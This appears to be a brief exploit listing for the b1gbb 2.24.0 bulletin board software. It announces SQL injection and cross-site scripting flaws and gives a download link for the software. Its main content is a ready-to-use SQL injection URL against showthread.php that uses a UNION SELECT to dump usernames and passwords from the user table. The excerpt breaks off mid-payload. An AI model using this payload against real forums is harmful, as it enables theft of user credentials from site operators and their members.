b1gbb 2.24.0 - SQL Injection / Cross-Site Scripting

b1gbb 2.24.0 SQL/XSS Remote Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip Exploits SQL : //showthread.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concatusername,passwort,8%20FROM%20cebbuser%20%20where%20id=1/ OR...